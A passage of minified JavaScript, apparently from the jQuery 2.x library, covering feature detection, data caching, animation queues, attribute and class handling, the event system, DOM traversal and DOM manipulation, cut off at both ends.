n.type?(n.type=\"checkbox\",t.checkOn=\"\"!==n.value,t.optSelected=a.selected,t.reliableMarginRight=!0,t.boxSizingReliable=!0,t.pixelPosition=!1,n.checked=!0,t.noCloneChecked=n.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!a.disabled,n=o.createElement(\"input\"),n.value=\"t\",n.type=\"radio\",t.radioValue=\"t\"===n.value,n.setAttribute(\"checked\",\"t\"),n.setAttribute(\"name\",\"t\"),r.appendChild(n),t.checkClone=r.cloneNode(!0).cloneNode(!0).lastChild.checked,t.focusinBubbles=\"onfocusin\"in e,i.style.backgroundClip=\"content-box\",i.cloneNode(!0).style.backgroundClip=\"\",t.clearCloneStyle=\"content-box\"===i.style.backgroundClip,x(function(){var n,r,s=\"padding:0;margin:0;border:0;display:block;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box\",a=o.getElementsByTagName(\"body\")[0];a&&(n=o.createElement(\"div\"),n.style.cssText=\"border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px\",a.appendChild(n).appendChild(i),i.innerHTML=\"\",i.style.cssText=\"-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%\",x.swap(a,null!=a.style.zoom?{zoom:1}:{},function(){t.boxSizing=4===i.offsetWidth}),e.getComputedStyle&&(t.pixelPosition=\"1%\"!==(e.getComputedStyle(i,null)||{}).top,t.boxSizingReliable=\"4px\"===(e.getComputedStyle(i,null)||{width:\"4px\"}).width,r=i.appendChild(o.createElement(\"div\")),r.style.cssText=i.style.cssText=s,r.style.marginRight=r.style.width=\"0\",i.style.width=\"1px\",t.reliableMarginRight=!parseFloat((e.getComputedStyle(r,null)||{}).marginRight)),a.removeChild(n))}),t):t}({});var L,q,H=/(?:\\{[\\s\\S]*\\}|\\[[\\s\\S]*\\])$/,O=/([A-Z])/g;function F(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=x.expando+Math.random()}F.uid=1,F.accepts=function(e){return e.nodeType?1===e.nodeType||9===e.nodeType:!0},F.prototype={key:function(e){if(!F.accepts(e))return 0;var t={},n=e[this.expando];if(!n){n=F.uid++;try{t[this.expando]={value:n},Object.defineProperties(e,t)}catch(r){t[this.expando]=n,x.extend(e,t)}}return this.cache[n]||(this.cache[n]={}),n},set:function(e,t,n){var r,i=this.key(e),o=this.cache[i];if(\"string\"==typeof t)o[t]=n;else if(x.isEmptyObject(o))x.extend(this.cache[i],t);else for(r in t)o[r]=t[r];return o},get:function(e,t){var n=this.cache[this.key(e)];return t===undefined?n:n[t]},access:function(e,t,n){var r;return t===undefined||t&&\"string\"==typeof t&&n===undefined?(r=this.get(e,t),r!==undefined?r:this.get(e,x.camelCase(t))):(this.set(e,t,n),n!==undefined?n:t)},remove:function(e,t){var n,r,i,o=this.key(e),s=this.cache[o];if(t===undefined)this.cache[o]={};else{x.isArray(t)?r=t.concat(t.map(x.camelCase)):(i=x.camelCase(t),t in s?r=[t,i]:(r=i,r=r in s?[r]:r.match(w)||[])),n=r.length;while(n--)delete s[r[n]]}},hasData:function(e){return!x.isEmptyObject(this.cache[e[this.expando]]||{})},discard:function(e){e[this.expando]&&delete this.cache[e[this.expando]]}},L=new F,q=new F,x.extend({acceptData:F.accepts,hasData:function(e){return L.hasData(e)||q.hasData(e)},data:function(e,t,n){return L.access(e,t,n)},removeData:function(e,t){L.remove(e,t)},_data:function(e,t,n){return q.access(e,t,n)},_removeData:function(e,t){q.remove(e,t)}}),x.fn.extend({data:function(e,t){var n,r,i=this[0],o=0,s=null;if(e===undefined){if(this.length&&(s=L.get(i),1===i.nodeType&&!q.get(i,\"hasDataAttrs\"))){for(n=i.attributes;n.length>o;o++)r=n[o].name,0===r.indexOf(\"data-\")&&(r=x.camelCase(r.slice(5)),P(i,r,s[r]));q.set(i,\"hasDataAttrs\",!0)}return s}return\"object\"==typeof e?this.each(function(){L.set(this,e)}):x.access(this,function(t){var n,r=x.camelCase(e);if(i&&t===undefined){if(n=L.get(i,e),n!==undefined)return n;if(n=L.get(i,r),n!==undefined)return n;if(n=P(i,r,undefined),n!==undefined)return n}else this.each(function(){var n=L.get(this,r);L.set(this,r,t),-1!==e.indexOf(\"-\")&&n!==undefined&&L.set(this,e,t)})},null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){L.remove(this,e)})}});function P(e,t,n){var r;if(n===undefined&&1===e.nodeType)if(r=\"data-\"+t.replace(O,\"-$1\").toLowerCase(),n=e.getAttribute(r),\"string\"==typeof n){try{n=\"true\"===n?!0:\"false\"===n?!1:\"null\"===n?null:+n+\"\"===n?+n:H.test(n)?JSON.parse(n):n}catch(i){}L.set(e,t,n)}else n=undefined;return n}x.extend({queue:function(e,t,n){var r;return e?(t=(t||\"fx\")+\"queue\",r=q.get(e,t),n&&(!r||x.isArray(n)?r=q.access(e,t,x.makeArray(n)):r.push(n)),r||[]):undefined},dequeue:function(e,t){t=t||\"fx\";var n=x.queue(e,t),r=n.length,i=n.shift(),o=x._queueHooks(e,t),s=function(){x.dequeue(e,t)\n};\"inprogress\"===i&&(i=n.shift(),r--),i&&(\"fx\"===t&&n.unshift(\"inprogress\"),delete o.stop,i.call(e,s,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+\"queueHooks\";return q.get(e,n)||q.access(e,n,{empty:x.Callbacks(\"once memory\").add(function(){q.remove(e,[t+\"queue\",n])})})}}),x.fn.extend({queue:function(e,t){var n=2;return\"string\"!=typeof e&&(t=e,e=\"fx\",n--),n>arguments.length?x.queue(this[0],e):t===undefined?this:this.each(function(){var n=x.queue(this,e,t);x._queueHooks(this,e),\"fx\"===e&&\"inprogress\"!==n[0]&&x.dequeue(this,e)})},dequeue:function(e){return this.each(function(){x.dequeue(this,e)})},delay:function(e,t){return e=x.fx?x.fx.speeds[e]||e:e,t=t||\"fx\",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||\"fx\",[])},promise:function(e,t){var n,r=1,i=x.Deferred(),o=this,s=this.length,a=function(){--r||i.resolveWith(o,[o])};\"string\"!=typeof e&&(t=e,e=undefined),e=e||\"fx\";while(s--)n=q.get(o[s],e+\"queueHooks\"),n&&n.empty&&(r++,n.empty.add(a));return a(),i.promise(t)}});var R,M,W=/[\\t\\r\\n\\f]/g,$=/\\r/g,B=/^(?:input|select|textarea|button)$/i;x.fn.extend({attr:function(e,t){return x.access(this,x.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){x.removeAttr(this,e)})},prop:function(e,t){return x.access(this,x.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[x.propFix[e]||e]})},addClass:function(e){var t,n,r,i,o,s=0,a=this.length,u=\"string\"==typeof e&&e;if(x.isFunction(e))return this.each(function(t){x(this).addClass(e.call(this,t,this.className))});if(u)for(t=(e||\"\").match(w)||[];a>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(\" \"+n.className+\" \").replace(W,\" \"):\" \")){o=0;while(i=t[o++])0>r.indexOf(\" \"+i+\" \")&&(r+=i+\" \");n.className=x.trim(r)}return this},removeClass:function(e){var t,n,r,i,o,s=0,a=this.length,u=0===arguments.length||\"string\"==typeof e&&e;if(x.isFunction(e))return this.each(function(t){x(this).removeClass(e.call(this,t,this.className))});if(u)for(t=(e||\"\").match(w)||[];a>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(\" \"+n.className+\" \").replace(W,\" \"):\"\")){o=0;while(i=t[o++])while(r.indexOf(\" \"+i+\" \")>=0)r=r.replace(\" \"+i+\" \",\" \");n.className=e?x.trim(r):\"\"}return this},toggleClass:function(e,t){var n=typeof e;return\"boolean\"==typeof t&&\"string\"===n?t?this.addClass(e):this.removeClass(e):x.isFunction(e)?this.each(function(n){x(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if(\"string\"===n){var t,i=0,o=x(this),s=e.match(w)||[];while(t=s[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else(n===r||\"boolean\"===n)&&(this.className&&q.set(this,\"__className__\",this.className),this.className=this.className||e===!1?\"\":q.get(this,\"__className__\")||\"\")})},hasClass:function(e){var t=\" \"+e+\" \",n=0,r=this.length;for(;r>n;n++)if(1===this[n].nodeType&&(\" \"+this[n].className+\" \").replace(W,\" \").indexOf(t)>=0)return!0;return!1},val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=x.isFunction(e),this.each(function(n){var i;1===this.nodeType&&(i=r?e.call(this,n,x(this).val()):e,null==i?i=\"\":\"number\"==typeof i?i+=\"\":x.isArray(i)&&(i=x.map(i,function(e){return null==e?\"\":e+\"\"})),t=x.valHooks[this.type]||x.valHooks[this.nodeName.toLowerCase()],t&&\"set\"in t&&t.set(this,i,\"value\")!==undefined||(this.value=i))});if(i)return t=x.valHooks[i.type]||x.valHooks[i.nodeName.toLowerCase()],t&&\"get\"in t&&(n=t.get(i,\"value\"))!==undefined?n:(n=i.value,\"string\"==typeof n?n.replace($,\"\"):null==n?\"\":n)}}}),x.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,o=\"select-one\"===e.type||0>i,s=o?null:[],a=o?i+1:r.length,u=0>i?a:o?i:0;for(;a>u;u++)if(n=r[u],!(!n.selected&&u!==i||(x.support.optDisabled?n.disabled:null!==n.getAttribute(\"disabled\"))||n.parentNode.disabled&&x.nodeName(n.parentNode,\"optgroup\"))){if(t=x(n).val(),o)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=x.makeArray(t),s=i.length;while(s--)r=i[s],(r.selected=x.inArray(x(r).val(),o)>=0)&&(n=!0);return n||(e.selectedIndex=-1),o}}},attr:function(e,t,n){var i,o,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return typeof e.getAttribute===r?x.prop(e,t,n):(1===s&&x.isXMLDoc(e)||(t=t.toLowerCase(),i=x.attrHooks[t]||(x.expr.match.bool.test(t)?M:R)),n===undefined?i&&\"get\"in i&&null!==(o=i.get(e,t))?o:(o=x.find.attr(e,t),null==o?undefined:o):null!==n?i&&\"set\"in i&&(o=i.set(e,n,t))!==undefined?o:(e.setAttribute(t,n+\"\"),n):(x.removeAttr(e,t),undefined))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(w);if(o&&1===e.nodeType)while(n=o[i++])r=x.propFix[n]||n,x.expr.match.bool.test(n)&&(e[r]=!1),e.removeAttribute(n)},attrHooks:{type:{set:function(e,t){if(!x.support.radioValue&&\"radio\"===t&&x.nodeName(e,\"input\")){var n=e.value;return e.setAttribute(\"type\",t),n&&(e.value=n),t}}}},propFix:{\"for\":\"htmlFor\",\"class\":\"className\"},prop:function(e,t,n){var r,i,o,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return o=1!==s||!x.isXMLDoc(e),o&&(t=x.propFix[t]||t,i=x.propHooks[t]),n!==undefined?i&&\"set\"in i&&(r=i.set(e,n,t))!==undefined?r:e[t]=n:i&&\"get\"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){return e.hasAttribute(\"tabindex\")||B.test(e.nodeName)||e.href?e.tabIndex:-1}}}}),M={set:function(e,t,n){return t===!1?x.removeAttr(e,n):e.setAttribute(n,n),n}},x.each(x.expr.match.bool.source.match(/\\w+/g),function(e,t){var n=x.expr.attrHandle[t]||x.find.attr;x.expr.attrHandle[t]=function(e,t,r){var i=x.expr.attrHandle[t],o=r?undefined:(x.expr.attrHandle[t]=undefined)!=n(e,t,r)?t.toLowerCase():null;return x.expr.attrHandle[t]=i,o}}),x.support.optSelected||(x.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null}}),x.each([\"tabIndex\",\"readOnly\",\"maxLength\",\"cellSpacing\",\"cellPadding\",\"rowSpan\",\"colSpan\",\"useMap\",\"frameBorder\",\"contentEditable\"],function(){x.propFix[this.toLowerCase()]=this}),x.each([\"radio\",\"checkbox\"],function(){x.valHooks[this]={set:function(e,t){return x.isArray(t)?e.checked=x.inArray(x(e).val(),t)>=0:undefined}},x.support.checkOn||(x.valHooks[this].get=function(e){return null===e.getAttribute(\"value\")?\"on\":e.value})});var I=/^key/,z=/^(?:mouse|contextmenu)|click/,_=/^(?:focusinfocus|focusoutblur)$/,X=/^([^.]*)(?:\\.(.+)|)$/;function U(){return!0}function Y(){return!1}function V(){try{return o.activeElement}catch(e){}}x.event={global:{},add:function(e,t,n,i,o){var s,a,u,l,c,p,f,h,d,g,m,y=q.get(e);if(y){n.handler&&(s=n,n=s.handler,o=s.selector),n.guid||(n.guid=x.guid++),(l=y.events)||(l=y.events={}),(a=y.handle)||(a=y.handle=function(e){return typeof x===r||e&&x.event.triggered===e.type?undefined:x.event.dispatch.apply(a.elem,arguments)},a.elem=e),t=(t||\"\").match(w)||[\"\"],c=t.length;while(c--)u=X.exec(t[c])||[],d=m=u[1],g=(u[2]||\"\").split(\".\").sort(),d&&(f=x.event.special[d]||{},d=(o?f.delegateType:f.bindType)||d,f=x.event.special[d]||{},p=x.extend({type:d,origType:m,data:i,handler:n,guid:n.guid,selector:o,needsContext:o&&x.expr.match.needsContext.test(o),namespace:g.join(\".\")},s),(h=l[d])||(h=l[d]=[],h.delegateCount=0,f.setup&&f.setup.call(e,i,g,a)!==!1||e.addEventListener&&e.addEventListener(d,a,!1)),f.add&&(f.add.call(e,p),p.handler.guid||(p.handler.guid=n.guid)),o?h.splice(h.delegateCount++,0,p):h.push(p),x.event.global[d]=!0);e=null}},remove:function(e,t,n,r,i){var o,s,a,u,l,c,p,f,h,d,g,m=q.hasData(e)&&q.get(e);if(m&&(u=m.events)){t=(t||\"\").match(w)||[\"\"],l=t.length;while(l--)if(a=X.exec(t[l])||[],h=g=a[1],d=(a[2]||\"\").split(\".\").sort(),h){p=x.event.special[h]||{},h=(r?p.delegateType:p.bindType)||h,f=u[h]||[],a=a[2]&&RegExp(\"(^|\\\\.)\"+d.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"),s=o=f.length;while(o--)c=f[o],!i&&g!==c.origType||n&&n.guid!==c.guid||a&&!a.test(c.namespace)||r&&r!==c.selector&&(\"**\"!==r||!c.selector)||(f.splice(o,1),c.selector&&f.delegateCount--,p.remove&&p.remove.call(e,c));s&&!f.length&&(p.teardown&&p.teardown.call(e,d,m.handle)!==!1||x.removeEvent(e,h,m.handle),delete u[h])}else for(h in u)x.event.remove(e,h+t[l],n,r,!0);x.isEmptyObject(u)&&(delete m.handle,q.remove(e,\"events\"))}},trigger:function(t,n,r,i){var s,a,u,l,c,p,f,h=[r||o],d=y.call(t,\"type\")?t.type:t,g=y.call(t,\"namespace\")?t.namespace.split(\".\"):[];if(a=u=r=r||o,3!==r.nodeType&&8!==r.nodeType&&!_.test(d+x.event.triggered)&&(d.indexOf(\".\")>=0&&(g=d.split(\".\"),d=g.shift(),g.sort()),c=0>d.indexOf(\":\")&&\"on\"+d,t=t[x.expando]?t:new x.Event(d,\"object\"==typeof t&&t),t.isTrigger=i?2:3,t.namespace=g.join(\".\"),t.namespace_re=t.namespace?RegExp(\"(^|\\\\.)\"+g.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null,t.result=undefined,t.target||(t.target=r),n=null==n?[t]:x.makeArray(n,[t]),f=x.event.special[d]||{},i||!f.trigger||f.trigger.apply(r,n)!==!1)){if(!i&&!f.noBubble&&!x.isWindow(r)){for(l=f.delegateType||d,_.test(l+d)||(a=a.parentNode);a;a=a.parentNode)h.push(a),u=a;u===(r.ownerDocument||o)&&h.push(u.defaultView||u.parentWindow||e)}s=0;while((a=h[s++])&&!t.isPropagationStopped())t.type=s>1?l:f.bindType||d,p=(q.get(a,\"events\")||{})[t.type]&&q.get(a,\"handle\"),p&&p.apply(a,n),p=c&&a[c],p&&x.acceptData(a)&&p.apply&&p.apply(a,n)===!1&&t.preventDefault();return t.type=d,i||t.isDefaultPrevented()||f._default&&f._default.apply(h.pop(),n)!==!1||!x.acceptData(r)||c&&x.isFunction(r[d])&&!x.isWindow(r)&&(u=r[c],u&&(r[c]=null),x.event.triggered=d,r[d](),x.event.triggered=undefined,u&&(r[c]=u)),t.result}},dispatch:function(e){e=x.event.fix(e);var t,n,r,i,o,s=[],a=d.call(arguments),u=(q.get(this,\"events\")||{})[e.type]||[],l=x.event.special[e.type]||{};if(a[0]=e,e.delegateTarget=this,!l.preDispatch||l.preDispatch.call(this,e)!==!1){s=x.event.handlers.call(this,e,u),t=0;while((i=s[t++])&&!e.isPropagationStopped()){e.currentTarget=i.elem,n=0;while((o=i.handlers[n++])&&!e.isImmediatePropagationStopped())(!e.namespace_re||e.namespace_re.test(o.namespace))&&(e.handleObj=o,e.data=o.data,r=((x.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,a),r!==undefined&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()))}return l.postDispatch&&l.postDispatch.call(this,e),e.result}},handlers:function(e,t){var n,r,i,o,s=[],a=t.delegateCount,u=e.target;if(a&&u.nodeType&&(!e.button||\"click\"!==e.type))for(;u!==this;u=u.parentNode||this)if(u.disabled!==!0||\"click\"!==e.type){for(r=[],n=0;a>n;n++)o=t[n],i=o.selector+\" \",r[i]===undefined&&(r[i]=o.needsContext?x(i,this).index(u)>=0:x.find(i,this,null,[u]).length),r[i]&&r.push(o);r.length&&s.push({elem:u,handlers:r})}return t.length>a&&s.push({elem:this,handlers:t.slice(a)}),s},props:\"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which\".split(\" \"),fixHooks:{},keyHooks:{props:\"char charCode key keyCode\".split(\" \"),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:\"button buttons clientX clientY offsetX offsetY pageX pageY screenX screenY toElement\".split(\" \"),filter:function(e,t){var n,r,i,s=t.button;return null==e.pageX&&null!=t.clientX&&(n=e.target.ownerDocument||o,r=n.documentElement,i=n.body,e.pageX=t.clientX+(r&&r.scrollLeft||i&&i.scrollLeft||0)-(r&&r.clientLeft||i&&i.clientLeft||0),e.pageY=t.clientY+(r&&r.scrollTop||i&&i.scrollTop||0)-(r&&r.clientTop||i&&i.clientTop||0)),e.which||s===undefined||(e.which=1&s?1:2&s?3:4&s?2:0),e}},fix:function(e){if(e[x.expando])return e;var t,n,r,i=e.type,s=e,a=this.fixHooks[i];a||(this.fixHooks[i]=a=z.test(i)?this.mouseHooks:I.test(i)?this.keyHooks:{}),r=a.props?this.props.concat(a.props):this.props,e=new x.Event(s),t=r.length;while(t--)n=r[t],e[n]=s[n];return e.target||(e.target=o),3===e.target.nodeType&&(e.target=e.target.parentNode),a.filter?a.filter(e,s):e},special:{load:{noBubble:!0},focus:{trigger:function(){return this!==V()&&this.focus?(this.focus(),!1):undefined},delegateType:\"focusin\"},blur:{trigger:function(){return this===V()&&this.blur?(this.blur(),!1):undefined},delegateType:\"focusout\"},click:{trigger:function(){return\"checkbox\"===this.type&&this.click&&x.nodeName(this,\"input\")?(this.click(),!1):undefined},_default:function(e){return x.nodeName(e.target,\"a\")}},beforeunload:{postDispatch:function(e){e.result!==undefined&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=x.extend(new x.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?x.event.trigger(i,null,t):x.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},x.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)},x.Event=function(e,t){return this instanceof x.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.getPreventDefault&&e.getPreventDefault()?U:Y):this.type=e,t&&x.extend(this,t),this.timeStamp=e&&e.timeStamp||x.now(),this[x.expando]=!0,undefined):new x.Event(e,t)},x.Event.prototype={isDefaultPrevented:Y,isPropagationStopped:Y,isImmediatePropagationStopped:Y,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=U,e&&e.preventDefault&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=U,e&&e.stopPropagation&&e.stopPropagation()},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=U,this.stopPropagation()}},x.each({mouseenter:\"mouseover\",mouseleave:\"mouseout\"},function(e,t){x.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(!i||i!==r&&!x.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),x.support.focusinBubbles||x.each({focus:\"focusin\",blur:\"focusout\"},function(e,t){var n=0,r=function(e){x.event.simulate(t,e.target,x.event.fix(e),!0)};x.event.special[t]={setup:function(){0===n++&&o.addEventListener(e,r,!0)},teardown:function(){0===--n&&o.removeEventListener(e,r,!0)}}}),x.fn.extend({on:function(e,t,n,r,i){var o,s;if(\"object\"==typeof e){\"string\"!=typeof t&&(n=n||t,t=undefined);for(s in e)this.on(s,t,n,e[s],i);return this}if(null==n&&null==r?(r=t,n=t=undefined):null==r&&(\"string\"==typeof t?(r=n,n=undefined):(r=n,n=t,t=undefined)),r===!1)r=Y;else if(!r)return this;return 1===i&&(o=r,r=function(e){return x().off(e),o.apply(this,arguments)},r.guid=o.guid||(o.guid=x.guid++)),this.each(function(){x.event.add(this,e,r,n,t)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,x(e.delegateTarget).off(r.namespace?r.origType+\".\"+r.namespace:r.origType,r.selector,r.handler),this;if(\"object\"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return(t===!1||\"function\"==typeof t)&&(n=t,t=undefined),n===!1&&(n=Y),this.each(function(){x.event.remove(this,e,n,t)})},trigger:function(e,t){return this.each(function(){x.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];return n?x.event.trigger(e,t,n,!0):undefined}});var G=/^.[^:#\\[\\.,]*$/,J=/^(?:parents|prev(?:Until|All))/,Q=x.expr.match.needsContext,K={children:!0,contents:!0,next:!0,prev:!0};x.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if(\"string\"!=typeof e)return this.pushStack(x(e).filter(function(){for(t=0;i>t;t++)if(x.contains(r[t],this))return!0}));for(t=0;i>t;t++)x.find(e,r[t],n);return n=this.pushStack(i>1?x.unique(n):n),n.selector=this.selector?this.selector+\" \"+e:e,n},has:function(e){var t=x(e,this),n=t.length;return this.filter(function(){var e=0;for(;n>e;e++)if(x.contains(this,t[e]))return!0})},not:function(e){return this.pushStack(et(this,e||[],!0))},filter:function(e){return this.pushStack(et(this,e||[],!1))},is:function(e){return!!et(this,\"string\"==typeof e&&Q.test(e)?x(e):e||[],!1).length},closest:function(e,t){var n,r=0,i=this.length,o=[],s=Q.test(e)||\"string\"!=typeof e?x(e,t||this.context):0;for(;i>r;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(11>n.nodeType&&(s?s.index(n)>-1:1===n.nodeType&&x.find.matchesSelector(n,e))){n=o.push(n);break}return this.pushStack(o.length>1?x.unique(o):o)},index:function(e){return e?\"string\"==typeof e?g.call(x(e),this[0]):g.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){var n=\"string\"==typeof e?x(e,t):x.makeArray(e&&e.nodeType?[e]:e),r=x.merge(this.get(),n);return this.pushStack(x.unique(r))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function Z(e,t){while((e=e[t])&&1!==e.nodeType);return e}x.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return x.dir(e,\"parentNode\")},parentsUntil:function(e,t,n){return x.dir(e,\"parentNode\",n)},next:function(e){return Z(e,\"nextSibling\")},prev:function(e){return Z(e,\"previousSibling\")},nextAll:function(e){return x.dir(e,\"nextSibling\")},prevAll:function(e){return x.dir(e,\"previousSibling\")},nextUntil:function(e,t,n){return x.dir(e,\"nextSibling\",n)},prevUntil:function(e,t,n){return x.dir(e,\"previousSibling\",n)},siblings:function(e){return x.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return x.sibling(e.firstChild)},contents:function(e){return e.contentDocument||x.merge([],e.childNodes)}},function(e,t){x.fn[e]=function(n,r){var i=x.map(this,t,n);return\"Until\"!==e.slice(-5)&&(r=n),r&&\"string\"==typeof r&&(i=x.filter(r,i)),this.length>1&&(K[e]||x.unique(i),J.test(e)&&i.reverse()),this.pushStack(i)}}),x.extend({filter:function(e,t,n){var r=t[0];return n&&(e=\":not(\"+e+\")\"),1===t.length&&1===r.nodeType?x.find.matchesSelector(r,e)?[r]:[]:x.find.matches(e,x.grep(t,function(e){return 1===e.nodeType}))},dir:function(e,t,n){var r=[],i=n!==undefined;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&x(e).is(n))break;r.push(e)}return r},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}});function et(e,t,n){if(x.isFunction(t))return x.grep(e,function(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return x.grep(e,function(e){return e===t!==n});if(\"string\"==typeof t){if(G.test(t))return x.filter(t,e,n);t=x.filter(t,e)}return x.grep(e,function(e){return g.call(t,e)>=0!==n})}var tt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^>]*)\\/>/gi,nt=/<([\\w:]+)/,rt=/<|&#?\\w+;/,it=/<(?:script|style|link)/i,ot=/^(?:checkbox|radio)$/i,st=/checked\\s*(?:[^=]|=\\s*.checked.)/i,at=/^$|\\/(?:java|ecma)script/i,ut=/^true\\/(.*)/,lt=/^\\s*<!(?:\\[CDATA\\[|--)|(?:\\]\\]|--)>\\s*$/g,ct={option:[1,\"<select multiple='multiple'>\",\"</select>\"],thead:[1,\"<table>\",\"</table>\"],col:[2,\"<table><colgroup>\",\"</colgroup></table>\"],tr:[2,\"<table><tbody>\",\"</tbody></table>\"],td:[3,\"<table><tbody><tr>\",\"</tr></tbody></table>\"],_default:[0,\"\",\"\"]};ct.optgroup=ct.option,ct.tbody=ct.tfoot=ct.colgroup=ct.caption=ct.thead,ct.th=ct.td,x.fn.extend({text:function(e){return x.access(this,function(e){return e===undefined?x.text(this):this.empty().append((this[0]&&this[0].ownerDocument||o).createTextNode(e))},null,e,arguments.length)},append:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=pt(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=pt(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){var n,r=e?x.filter(e,this):this,i=0;for(;null!=(n=r[i]);i++)t||1!==n.nodeType||x.cleanData(mt(n)),n.parentNode&&(t&&x.contains(n.ownerDocument,n)&&dt(mt(n,\"script\")),n.parentNode.removeChild(n));return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t++)1===e.nodeType&&(x.cleanData(mt(e,!1)),e.textContent=\"\");return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return x.clone(this,e,t)})},html:function(e){return x.access(this,function(e){var t=this[0]||{},n=0,r=this.length;if(e===undefined&&1===t.nodeType)return t.innerHTML;if(\"string\"==typeof e&&!it.test(e)&&!ct[(nt.exec(e)||[\"\",\"\"])[1].toLowerCase()]){e=e.replace(tt,\"<$1></$2>\");try{for(;r>n;n++)t=this[n]||{},1===t.nodeType&&(x.cleanData(mt(t,!1)),t.innerHTML=e);t=0}catch(i){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=x.map(this,function(e){return[e.nextSibling,e.parentNode]}),t=0;return this.domManip(arguments,function(n){var r=e[t++],i=e[t++];i&&(r&&r.parentNode!==i&&(r=this.nextSibling),x(this).remove(),i.insertBefore(n,r))},!0),t?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t,n){e=f.apply([],e);var r,i,o,s,a,u,l=0,c=this.length,p=this,h=c-1,d=e[0],g=x.isFunction(d);if(g||!(1>=c||\"string\"!=typeof d||x.support.checkClone)&&st.test(d))return this.each(function(r){var i=p.eq(r);g&&(e[0]=d.call(this,r,i.html())),i.domManip(e,t,n)});if(c&&(r=x.buildFragment(e,this[0].ownerDocument,!1,!n&&this),i=r.firstChild,1===r.childNodes.length&&(r=i),i)){for(o=x.map(mt(r,\"script\"),ft),s=o.length;c>l;l++)a=r,l!==h&&(a=x.clone(a,!0,!0),s&&x.merge(o,mt(a,\"script\"))),t.call(this[l],a,l);if(s)for(u=o[o.length-1].ownerDocument,x.map(o,ht),l=0;s>l;l++)a=o[l],at.test(a.type||\"\")&&!q.access(a,\"globalEval\")&&x.contains(u,a)&&(a.src?x._evalUrl(a.src):x.globalEval(a.textContent.replace(lt,\"\")))}return this}}),x.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(e,t){x.fn[e]=function(e){var n,r=[],i=x(e),o=i.length-1,s=0;for(;o>=s;s++)n=s===o?this:this.clone(!0),x(i[s])[t](n),h.apply(r,n.get());return 